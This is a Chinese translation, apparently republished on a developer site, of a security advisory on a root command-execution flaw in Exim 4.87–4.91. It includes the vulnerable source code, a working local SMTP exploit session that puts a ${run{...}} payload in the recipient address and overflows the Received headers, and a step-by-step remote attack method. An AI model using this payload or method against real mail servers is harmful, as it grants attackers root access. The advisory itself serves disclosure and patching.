内容简介:在对Exim邮件服务器最新改动进行代码审计过程中,我们发现4.87到4.91版本之间的这个漏洞可以由本地攻击者直接利用(远程攻击者需要在特定的非默认配置下利用)。为了在默认配置下远程利用该漏洞,攻击者需要与存在漏洞的服务器建连7天(可以每隔几分钟发送1个字节)。然而由于Exim的代码非常复杂,我们无法保证这里介绍的方法是唯一的利用方法,可能还存在其他更加快捷的方法。
0x00 前言
在对Exim邮件服务器最新改动进行代码审计过程中,我们发现4.87到4.91版本之间的 Exim 存在一个远程命令执行(RCE)漏洞。这里RCE指的是远程命令执行(Remote Command Execution),而不是远程代码执行(Remote Code Execution):攻击者可以以 root
权限使用 execv()
来执行任意命令,利用过程中不涉及到内存破坏或者ROP(Return-Oriented Programming)相关内容。
这个漏洞可以由本地攻击者直接利用(远程攻击者需要在特定的非默认配置下利用)。为了在默认配置下远程利用该漏洞,攻击者需要与存在漏洞的服务器建连7天(可以每隔几分钟发送1个字节)。然而由于Exim的代码非常复杂,我们无法保证这里介绍的方法是唯一的利用方法,可能还存在其他更加快捷的方法。
从4.87版开始(2016年4月6日公布),由于 #ifdef EXPERIMENTAL_EVENT
改成了 #ifndef DISABLE_EVENT
,因此Exim默认情况下就存在漏洞。在之前的版本中,如果手动启用了 EXPERIMENTAL_EVENT
选项,那么服务器也会存在漏洞。令人惊讶的是,这个漏洞已经在4.92版中被修复(2019年2月10日):
https://github.com/Exim/exim/commit/7ea1237c783e380d7bdb86c90b13d8203c7ecf26 https://bugs.exim.org/show_bug.cgi?id=2310
然而Exim并没有把这个问题当成安全漏洞,因此大多数操作系统都会受到影响。比如,我们在最新的Debian发行版(9.9)中就成功利用了该漏洞。
0x01 本地利用
漏洞代码位于 deliver_message()
中:
6122 #ifndef DISABLE_EVENT 6123 if (process_recipients != RECIP_ACCEPT) 6124 { 6125 uschar * save_local = deliver_localpart; 6126 const uschar * save_domain = deliver_domain; 6127 6128 deliver_localpart = expand_string( 6129 string_sprintf("${local_part:%s}", new->address)); 6130 deliver_domain = expand_string( 6131 string_sprintf("${domain:%s}", new->address)); 6132 6133 (void) event_raise(event_action, 6134 US"msg:fail:internal", new->message); 6135 6136 deliver_localpart = save_local; 6137 deliver_domain = save_domain; 6138 } 6139 #endif
由于 expand_string()
可以识别 ${run{<command> <args>}}
扩展项,且 new->address
是正在投递的邮件的收件方,因此本地攻击者可以向 ${run{...}}@localhost
发送一封邮件(其中 localhost
是Exim的某个本地域),以 root
权限执行任意命令(默认情况下 deliver_drop_privilege
的值为 false
)。
操作过程如下所示:
john@debian:~$ cat /tmp/id cat: /tmp/id: No such file or directory john@debian:~$ nc 127.0.0.1 25 220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400 HELO localhost 250 debian Hello localhost [127.0.0.1] MAIL FROM:<> 250 OK RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost> 250 Accepted DATA 354 Enter message, ending with "." on a line by itself Received: 1 Received: 2 Received: 3 Received: 4 Received: 5 Received: 6 Received: 7 Received: 8 Received: 9 Received: 10 Received: 11 Received: 12 Received: 13 Received: 14 Received: 15 Received: 16 Received: 17 Received: 18 Received: 19 Received: 20 Received: 21 Received: 22 Received: 23 Received: 24 Received: 25 Received: 26 Received: 27 Received: 28 Received: 29 Received: 30 Received: 31 . 250 OK id=1hTnYa-0000zp-8b QUIT 221 debian closing connection john@debian:~$ cat /tmp/id cat: /tmp/id: Permission denied root@debian:~# cat /tmp/id uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim) uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
在这个例子中:
- 我们向邮件服务器发送了多个
Received:
头(超过received_headers_max
,这个值默认为30),从而执行存在漏洞的代码。 - 我们使用反斜杠转义了收件方地址中的无效字符, 以便
expand_string()
后续处理(在expand_string_internal()
以及transport_set_up_command()
函数中会调用)。
0x02 远程利用
我们的本地利用方法并不适合于远程利用场景,这是因为Exim默认配置的 verify = recipient
ACL(访问控制列表)会要求收件人地址的本地部分(即 @
之前的部分)必须是本地用户的名称,如下所示:
john@debian:~$ nc 192.168.56.101 25 220 debian ESMTP Exim 4.89 Thu, 23 May 2019 10:06:37 -0400 HELO localhost 250 debian Hello localhost [192.168.56.101] MAIL FROM:<> 250 OK RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost> 550 Unrouteable address
非默认配置
我们最终设计了一种巧妙的方法,可以用来远程利用默认配置的Exim。我们首先确定了便于远程利用的各种非默认配置:
- 如果管理员手动移除了
verify = recipient
ACL(可能是为了避免通过RCPT TO
枚举用户名),那么我们的本地利用方法就能远程使用; - 如果管理员配置Exim可以识别收件方地址本地部分的标签(如通过
local_part_suffix = +* : -*
),那么远程攻击者可以简单复用我们的本地利用方法,其中RCPT TO
设为balrog+${run{...}}@localhost
即可(这里balrog
是某个本地用户名); - 如果管理员配置Exim作为辅MX(Mail eXchange),将邮件转发至远程域,那么远程攻击者可以简单复用我们的本地里利用方法,其中
RCPT TO
设为${run{...}}@khazad.dum
(这里khazad.dum
是Exim的某个relay_to_domains
)。实际上,verify = recipient
ACL只能检查远程地址的域名部分(即@
之后的部分),不能检查其中的本地部分。
默认配置
首先,我们通过一个“反弹(bounce)”消息来解决 verify = recipient
ACL问题:如果我们发送无法投递的一封邮件,Exim会自动向原始发件人发送(“反弹”)一个投递失败消息。换句话说,原始邮件发送方(即我们的 MAIL FROM
)现在变成反弹消息的收件方(对应该消息的 RCPT TO
),因此可以使用 ${run{...}}
来执行命令。实际上,在默认配置的Exim中, verify = sender
ACL只会检查我们原始发件人地址的域名部分,不去检查本地部分(因为这是一个远程地址)。
接下来,反弹消息会处理到存在漏洞的代码,通过 process_recipients != RECIP_ACCEPT
的条件判断,但这里我们不能复用 received_headers_max
技巧,因为我们无法复用我们的头部。我们对第二个问题的解决办法并不是最优解:如果反弹消息在7天后(这是默认的 timeout_frozen_after
值)仍无法投递,那么Exim就会将 process_recipients
设置为 RECIP_FAIL_TIMEOUT
,然后执行存在漏洞的代码。
最后,我们必须解决一个看上去非常棘手的问题:在2天后(默认的 ignore_bounce_errors_after
值),反弹消息如果没有被推迟投递,那么就会被丢弃。而在4天后,根据默认的重试规则( F,2h,15m; G,16h,1h,1.5; F,4d,6h
),被延迟投递的地址会被归入失败地址中,因此会在7天时间期限( timeout_frozen_after
)之前丢弃反弹消息。我们解决第三个问题以及通用的远程利用问题的方法如下所示(但可能存在更加简单且更快捷的解决方案):
1、我们连接到存在漏洞Exim服务器,发送无法被投递的一封邮件(因为我们发送了超过 received_headers_max
的 Received:
头)。我们邮件的收件方地址( RCPT TO
)设置为 postmaster
,其发送方地址( MAIL FROM
)为 ${run{...}}@khazad.dum
(这里 khazad.dum
为我们可控的一个域名)。
2、由于我们的邮件无法被投递,Exiam会连接到 khazad.dum
的 MX
(我们会监听并接受这个连接),开始向 ${run{...}}@khazad.dum
发送反弹消息。
3、每隔4分钟向Exim发送一个字节,保持该连接处于打开状态7天(默认的 timeout_frozen_after
)。该操作之所以能成功,是因为Exim会将其发送的SMTP(Simple Mail Transfer Protocol)命令所收到的响应数据写入一个4096字节缓冲区中( DELIVER_BUFFER_SIZE
),请求命令超时时间设为5分钟(默认的 command_timeout
),每收到1个字节就会重置超时时间。
4、在7天后,我们最终发送完冗长的SMTP响应,返回永久投递失败(比如“550 Unrouteable address”),这样 post_process_one()
函数就会冻结这个反弹消息。该函数实际上应该抛弃这个反弹消息,而不是冻结消息(如果冻结消息,我们就无法访问存在漏洞的代码),因为该消息处理时间已超过2天(默认的 ignore_bounce_errors_after
):
1613 /* If this is a delivery error, or a message for which no replies are 1614 wanted, and the message's age is greater than ignore_bounce_errors_after, 1615 force the af_ignore_error flag. This will cause the address to be discarded 1616 later (with a log entry). */ 1617 1618 if (!*sender_address && message_age >= ignore_bounce_errors_after) 1619 setflag(addr, af_ignore_error);
然而在这个特殊的场景下, message_age
并不是反弹消息的实际处理时间(超过7天),而是该消息首次从Exim spool
中加载的时间(只有几秒或者几分钟)。
5、最终,Exim默认运行的下次队列(在Debian上,默认情况下每隔30分钟)会从 spool
中加载被冻结的反弹消息,将 process_recipients
设置为 RECIP_FAIL_TIMEOUT
(这一次 message_age
为反弹消息的实际处理时间,已超过7天),然后执行存在漏洞的代码以及我们构造的命令(我们原始发送方地址 ${run{...}}@khazad.dum
为反弹消息的收件地址,会被 expand_string()
解析)。
备注:如果想快速测试这个远程利用方法,Exim默认设置的 timeout_frozen_after
以及 ignore_bounce_errors_after
天数可以被替换成小时数,默认重试规则可以改为 F,4h,6m
。
0x03 致谢
感谢Exim开发人员、Solar Designer以及distros @openwall 的小伙伴们。
本文标题“The Return of the WIZard”(注:英文标题)源自Sendmail非常古老的WIZ及DEBUG漏洞:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0145 https://seclists.org/bugtraq/1995/Feb/56 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0095 http://www.cheswick.com/ches/papers/berferd.pdf
0x04 时间线
2019-05-27 向 security@exim
反馈漏洞报告
2019-05-28 向 distros@openwall
反馈漏洞报告
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
高等应用数学问题的MATLAB求解
薛定宇、陈阳泉 / 清华大学出版社 / 2008-10 / 49.00元
薛定宇和陈阳泉编著的《高等应用数学问题的MATLAB求解》首先介绍了MATLAB语言程序设计的基本内容,在此基础上系统介绍了各个应用数学领域的问题求解,如基于MATLAB的微积分问题、线性代数问题的计算机求解、积分变换和复变函数问题、非线性方程与最优化问题、常微分方程与偏微分方程问题、数据插值与函数逼近问题、概率论与数理统计问题的解析解和数值解法等,还介绍了较新的非传统方法,如模糊逻辑与模糊推理、......一起来看看 《高等应用数学问题的MATLAB求解》 这本书的介绍吧!